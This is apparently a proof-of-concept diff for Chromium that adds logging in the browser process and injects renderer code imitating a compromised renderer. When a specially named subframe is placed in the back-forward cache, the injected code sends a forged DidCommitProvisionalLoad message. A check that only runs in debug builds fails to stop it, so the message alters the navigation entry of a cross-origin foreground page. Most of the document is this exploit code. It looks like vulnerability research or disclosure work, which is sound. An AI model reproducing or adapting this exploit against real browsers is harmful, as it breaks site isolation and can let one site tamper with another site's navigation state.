diff --git a/content/browser/renderer_host/navigation_controller_impl.cc b/content/browser/renderer_host/navigation_controller_impl.cc index d3b70f82c2132..3e67944a88ca6 100644 --- a/content/browser/renderer_host/navigation_controller_impl.cc +++ b/content/browser/renderer_host/navigation_controller_impl.cc @@ -2966,6 +2966,48 @@ bool NavigationControllerImpl::RendererDidNavigateAutoSubframe( update_policy = NavigationEntryImpl::UpdatePolicy::kReplace; } + // ===== POC OBSERVATION (does not change behaviour) ===== + if (rfh->IsInBackForwardCache()) { + size_t children_before = last_committed->root_node()->children.size(); + LOG(ERROR) + << "[POC-BROWSER] *** CROSS-ORIGIN NAV-ENTRY WRITE *** " + << "RendererDidNavigateAutoSubframe: BFCached RFH (SiteInstance=" + << rfh->GetSiteInstance()->GetSiteInfo().site_url() + << ", process_lock=" + << rfh->GetProcess()->GetProcessLock().ToString() + << ") is writing into the *primary* controller's " + "GetLastCommittedEntry()=" << last_committed->GetURL() + << " root_FNE_site=" + << (last_committed->root_node()->frame_entry->site_instance() + ? last_committed->root_node() + ->frame_entry->site_instance() + ->GetSiteInfo().site_url() + .spec() + : "(null)") + << " root_children_before=" << children_before; + + UpdateNavigationEntryDetails(last_committed, rfh, params, request, + update_policy, false /* is_new_entry */, + commit_details); + + size_t children_after = last_committed->root_node()->children.size(); + LOG(ERROR) << "[POC-BROWSER] *** AFTER WRITE *** root_children_after=" + << children_after; + for (size_t i = 0; i < children_after; ++i) { + auto* fne = + last_committed->root_node()->children[i]->frame_entry.get(); + LOG(ERROR) << "[POC-BROWSER] child[" << i + << "] frame_unique_name=" << fne->frame_unique_name() + << " url=" << fne->url() << " site_instance=" + << (fne->site_instance() + ? fne->site_instance()->GetSiteInfo().site_url().spec() + : "(null)") + << " navigation_api_key=" << fne->navigation_api_key(); + } + return send_commit_notification; + } + // ===== END POC OBSERVATION ===== + UpdateNavigationEntryDetails(last_committed, rfh, params, request, update_policy, false /* is_new_entry */, commit_details); diff --git a/content/browser/renderer_host/render_frame_host_impl.cc b/content/browser/renderer_host/render_frame_host_impl.cc index 8949727d76136..62ccd38f131a9 100644 --- a/content/browser/renderer_host/render_frame_host_impl.cc +++ b/content/browser/renderer_host/render_frame_host_impl.cc @@ -17123,6 +17123,19 @@ void RenderFrameHostImpl::DidCommitNavigation( // we are sure this isn't hit. DCHECK(!IsInBackForwardCache()); + // ===== POC OBSERVATION (does not change behaviour) ===== + if (IsInBackForwardCache()) { + LOG(ERROR) << "[POC-BROWSER] *** DCHECK(!IsInBackForwardCache()) BYPASSED " + << "*** DidCommitNavigation reached on BFCached RFH. " + << "is_main_frame=" << is_main_frame() + << " owner_is_null=" << (owner_ == nullptr) + << " process_lock=" + << GetProcess()->GetProcessLock().ToString() + << " primary_last_committed_url=" + << frame_tree()->controller().GetLastCommittedEntry()->GetURL(); + } + // ===== END POC OBSERVATION ===== + // TODO(https://crbug.com/445585641): Make this enforceable on Android. #if !BUILDFLAG(IS_ANDROID) if (base::FeatureList::IsEnabled(kCheckDocumentSequenceNumber)) { diff --git a/content/renderer/render_frame_impl.cc b/content/renderer/render_frame_impl.cc index b8d1ca4193685..d4ff841084c94 100644 --- a/content/renderer/render_frame_impl.cc +++ b/content/renderer/render_frame_impl.cc @@ -4291,6 +4291,57 @@ void RenderFrameImpl::DidSetPageLifecycleState( blink::BFCacheStateChange bfcache_change) { for (auto& observer : observers_) observer.DidSetPageLifecycleState(bfcache_change); + + // ===== POC INJECTION: simulate compromised-renderer attack ===== + // When a SUBFRAME enters the back-forward cache, a real compromised renderer + // would ignore the freeze and send a forged DidCommitProvisionalLoad to its + // (now BFCached) RenderFrameHost in the browser. The browser-side handler is + // gated only by a DCHECK(!IsInBackForwardCache()), so in release this + // dispatches into the *primary* FrameTree's NavigationController and mutates + // the foreground (cross-origin) page's NavigationEntry. + // + // We gate on the frame's name == "poc-evil-subframe" so this only fires for + // the intentionally-crafted POC page and never for unrelated pages. + if (bfcache_change == blink::BFCacheStateChange::kStoredToBFCache && + !IsMainFrame() && frame_ && + frame_->AssignedName().Utf8() == "poc-evil-subframe") { + LOG(ERROR) << "[POC-RENDERER] BFCached subframe sending forged " + "DidCommitProvisionalLoad to browser. frame origin=" + << url::Origin(frame_->GetSecurityOrigin()).Serialize(); + + auto p = mojom::DidCommitProvisionalLoadParams::New(); + p->url = GURL("about:blank"); + p->origin = url::Origin(frame_->GetSecurityOrigin()); + p->referrer = blink::mojom::Referrer::New(); + p->transition = ui::PAGE_TRANSITION_AUTO_SUBFRAME; + p->did_create_new_entry = false; + p->should_update_history = false; + p->method = "GET"; + p->post_id = -1; + p->http_status_code = 0; + p->url_is_unreachable = false; + p->is_overriding_user_agent = false; + p->history_list_was_cleared = false; + p->has_potentially_trustworthy_unique_origin = false; + p->request_id = 0; + p->insecure_request_policy = + blink::mojom::InsecureRequestPolicy::kLeaveInsecureRequestsAlone; + p->item_sequence_number = 424242; + p->document_sequence_number = 424243; + p->navigation_api_key = "POC-ATTACKER-NAV-API-KEY"; + p->navigation_token = base::UnguessableToken::Create(); + p->embedding_token = base::UnguessableToken::Create(); + p->contents_mime_type = "text/html"; + p->page_state = blink::PageState::CreateFromURL(GURL("about:blank")); + + // interface_params may be null because the browser-side + // frame_tree_node_->is_on_initial_empty_document() is still true for this + // subframe (the synchronous about:blank commit does not clear it). + GetFrameHost()->DidCommitProvisionalLoad(std::move(p), + /*interface_params=*/nullptr); + LOG(ERROR) << "[POC-RENDERER] forged DidCommitProvisionalLoad sent."; + } + // ===== END POC INJECTION ===== } void RenderFrameImpl::NotifyCurrentHistoryItemChanged() {